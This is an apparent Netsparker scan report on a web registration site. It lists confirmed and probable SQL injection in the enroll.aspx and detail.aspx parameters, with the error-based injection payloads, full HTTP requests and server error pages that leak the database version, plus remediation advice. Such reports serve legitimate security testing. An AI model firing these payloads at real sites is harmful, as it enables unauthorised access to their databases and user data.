<TD style="WIDTH: 714px; HEIGHT: 127px" vAlign="top" align="left" colSpan="2"><FONT face="Tahoma">&nbsp;&nbsp;
</FONT>
<HR width="100%" SIZE="1">
<input type="submit" name="backBtn" value="Back" id="backBtn" class="button" style="width:80px;" /><FONT face="Tahoma">&nbsp;
</FONT>
<input type="submit" name="registBtn" value="Register" id="registBtn" disabled="disabled" class="button" style="width:80px;" /></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD><FONT face="Tahoma"></FONT></TD>
</TR>
</TABLE>
</form>
</body>
</HTML>
SQL Injection

SQL Injection

4 TOTAL
CRITICAL
CONFIRMED
4
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /semreg/enroll.aspx

/semreg/enroll.aspx CONFIRMED

http://register2.set.or.th/semreg/enroll.aspx?ow='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCH..

Parameters

Parameter Type Value
ow GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
cs GET S0001
sn GET 0049

Extracted Data

microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation enterprise edition on windows nt 5.0 (build 2195: service pack 4)

Request

GET /semreg/enroll.aspx?ow='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:37:33 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5630


<html>
<head>
<title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.]
System.Data.SqlClient.SqlDataReader.Read() +157
System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) +175
System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +260
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +129
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at System.Data.SqlClient.SqlDataReader.Read()
at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping)
at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/detail.aspx

/semreg/detail.aspx CONFIRMED

http://register2.set.or.th/semreg/detail.aspx?ow='%2B%20convert(int,(CHAR(95)%2BCHAR(33)%2BCHAR(64)%..

Parameters

Parameter Type Value
ow GET '+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'
cs GET S0001
sn GET 0049

Extracted Data

microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation enterprise edition on windows nt 5.0 (build 2195: service pack 4)

Request

GET /semreg/detail.aspx?ow='%2B%20convert(int,(CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97)))%20%2B'&cs=S0001&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:39:18 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5628


<html>
<head>
<title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.]
System.Data.SqlClient.SqlDataReader.Read() +157
System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) +175
System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +260
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +129
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:129
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at System.Data.SqlClient.SqlDataReader.Read()
at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping)
at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/enroll.aspx

/semreg/enroll.aspx CONFIRMED

http://register2.set.or.th/semreg/enroll.aspx?ow=FKH&cs='%2B%20(select+convert(int,CHAR(95)%2BCHAR(3..

Parameters

Parameter Type Value
ow GET FKH
cs GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
sn GET 0049

Extracted Data

microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation enterprise edition on windows nt 5.0 (build 2195: service pack 4)

Request

GET /semreg/enroll.aspx?ow=FKH&cs='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:39:19 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5630


<html>
<head>
<title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.]
System.Data.SqlClient.SqlDataReader.Read() +157
System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) +175
System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +260
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +129
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at System.Data.SqlClient.SqlDataReader.Read()
at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping)
at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/enroll.aspx

/semreg/enroll.aspx CONFIRMED

http://register2.set.or.th/semreg/enroll.aspx?ow=FKH&cs=S0001&sn='%2B%20(select+convert(int,CHAR(95)..

Parameters

Parameter Type Value
ow GET FKH
cs GET S0001
sn GET '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Extracted Data

microsoft sql server 2000 - 8.00.760 (intel x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 microsoft corporation enterprise edition on windows nt 5.0 (build 2195: service pack 4)

Request

GET /semreg/enroll.aspx?ow=FKH&cs=S0001&sn='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:42:00 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5630


<html>
<head>
<title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.]
System.Data.SqlClient.SqlDataReader.Read() +157
System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) +175
System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) +260
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) +129
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.
at System.Data.SqlClient.SqlDataReader.Read()
at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping)
at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
[Probable] SQL Injection

[Probable] SQL Injection

4 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs='%2B%20convert(int,(CHAR(95)%2BCHAR(33)%2BCH..

Parameters

Parameter Type Value
ow GET FKH
cs GET '+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'
sn GET 0049

Request

GET /semreg/detail.aspx?ow=FKH&cs='%2B%20convert(int,(CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97)))%20%2B'&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:39:23 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5628


<html>
<head>
<title>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

